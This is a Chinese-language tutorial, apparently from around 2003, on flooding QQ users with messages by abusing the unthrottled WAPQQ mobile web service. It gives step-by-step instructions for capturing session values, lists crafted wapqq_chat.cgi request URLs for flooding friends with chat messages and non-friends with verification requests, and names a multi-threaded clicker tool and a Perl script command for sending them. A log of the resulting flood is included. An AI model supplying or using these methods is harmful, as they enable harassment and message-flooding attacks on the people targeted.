目前用于发送大量消息来攻击QQ用户的软件还不少,但是多数软件是使用基于QQ客户端的方式来发送信息的,它们先获取句柄然后向QQ消息对话框中发送信息并自动提交。这种方式有不少不足的地方,首先现在新版的QQ已经在发送速度上做了限制,如果提交的速度太快,QQ会提示“对不起,您说话太快了,坐下来,泡杯咖啡休息会儿吧”,其次在攻击一个用户的时候,只可以开一个对话框,所以只能进行单线程的攻击。有这两条限制攻击的效率肯定是不理想的,而我要介绍的基于WAP方式的攻击方法将不会受到这些限制。
腾讯公司提供了WAPQQ服务以方便移动用户可以使用简单的QQ功能(WAPQQ服务的详细内容请参http://mobile.qq.com/wap/index.shtml),用户可以通过WAP方式发送QQ信息给好友,可以提交验证信息等。可能是开发人员认为用户不会拿昂贵的无线上网费用开玩笑,WAPQQ没有对用户提交的数量和速度做任何限制,这样给我们的攻击提供了方便。
我们首先使用WinWAPhttp://www.winwap.org)浏览器来访问WAPQQ的站点。
进入QQ聊天以后使用发起攻击者的帐号登陆。
(这里出现了乱码,原因应该是腾讯的WAP站的问题,使得通过WinWAP来访问QQ的时候会显示不正常,虽然文字显示不出,但是功能还是照样能用,密码下的一行就是登陆键,帐号输入后,点击登陆,进入WAPQQ)
进入WAPQQ后将鼠标移动至第三行。
我们将会得到目标URL为
http://waptest.tencent.com/cgi-bin/wapqq_chat.cgi?Pc=20&Pq=10001&Pk=JVamUVSz&PMisc_mid=123456789&stn=gmcc_try
其中,Pq为刚才登陆的QQ号,Pk为登陆WAPQQ的SessionID,我们需要记住这个SessionID。
接下来我们需要利用一个多线程提交URL的程序来对一个存在在攻击者QQ好友名单中的QQ用户进行攻击,这里我使用了超级点击机器II。为了能以更高的效率来攻击,我将它设置为如下图中的设置。
然后添加好可以使用的服务器后,添加要提交的URL。
我们要提交的URL为:
http://waptest.tencent.com/cgi-bin/wapqq_chat.cgi?
Pc=11&Pq=10001&Pg=&Poq=10000&Pk=0obWcsd5&PMisc_mid=123456789&stn
=gmcc_try&Psendmsg=hi
其中Pq为攻击者的QQ号码,Poq为被攻击的好友的QQ号码,Pk为先前要记下来的SessionID,Psendmsg为需要发送的信息内容。于是上面一条URL代表由10001发送“hi”到10000。
添加过后点击开始,洪水般的攻击就开始了。
我们来查看一下被攻击者的聊天记录。
用户:10000(Roy)
--------------------------------------------------
消息对象:10001(ILOVESHAN)
--------------------------------------------------
2003-11-08 15:52:40 -
hi
2003-11-08 15:52:41 -
hi
2003-11-08 15:52:41 -
hi
2003-11-08 15:52:41 -
hi
2003-11-08 15:52:41 -
hi
2003-11-08 15:52:41 -
hi
2003-11-08 15:52:41 -
hi
2003-11-08 15:52:41 -
hi
2003-11-08 15:52:42 -
hi
速度还是相当快的,平均一秒钟可以发送7-8条信息给被攻击者。
以上的方法只适用于被攻击者已经是攻击者的QQ好友,但是如果被攻击者不是好友且不通过验证怎么办呢?嘿嘿,我们还可以使用系统信息来攻击他。
我们登陆WAPQQ后查看源代码,能够得到如下的信息。
<a href="/cgi-bin/wapqq_chat.cgi?Pc=2&Pq=10001&Pk=t8yZzdVj&Pg=e9998ce7949fe4baba00&PMisc_mid=123456789&stn=gmcc_try"
其中的Pk和Pg的值我们需要记录下来,然后我们提交如下的URL来攻击。
http://waptest.tencent.com/cgi-bin/wapqq_chat.cgi?Pc=27&Pq=10001&Pg= e9998ce7949fe4baba00&Poq=10000&Pk= t8yZzdVj&PConfirmInfo=HI&stn=gmcc_try
Pq为攻击者的QQ号,Pg和Pk为刚才得到的字符串,Poq为被攻击者的QQ号,PConfirmInfo是提交验证时候的请求信息。
我们仍旧可以用上面提到的超级点击机器II来做攻击工具,使用方法相似,这里就不再重复叙述了。如果你有兴趣你可以尝试自己制作一个攻击工具,采用多线程,只接收几个字节的服务器回应,这样可以得到比超级点击机器II更高的速度。我也写了一个脚本,攻击速度没有点击机器快,因为是单线程的:(,不过如果你找不到可以用的攻击工具也不妨试试这个脚本,如果10001用发送普通信息的攻击方法攻击10000用户10次,则使用如下的命令,
C:\perl script.pl -a n -l 10 -y 10001 -t 10000 ?g e9998ce7949fe4baba00 ?k t8yZzdVj
(PK和PG的值可以通过上面提到方法来取得。)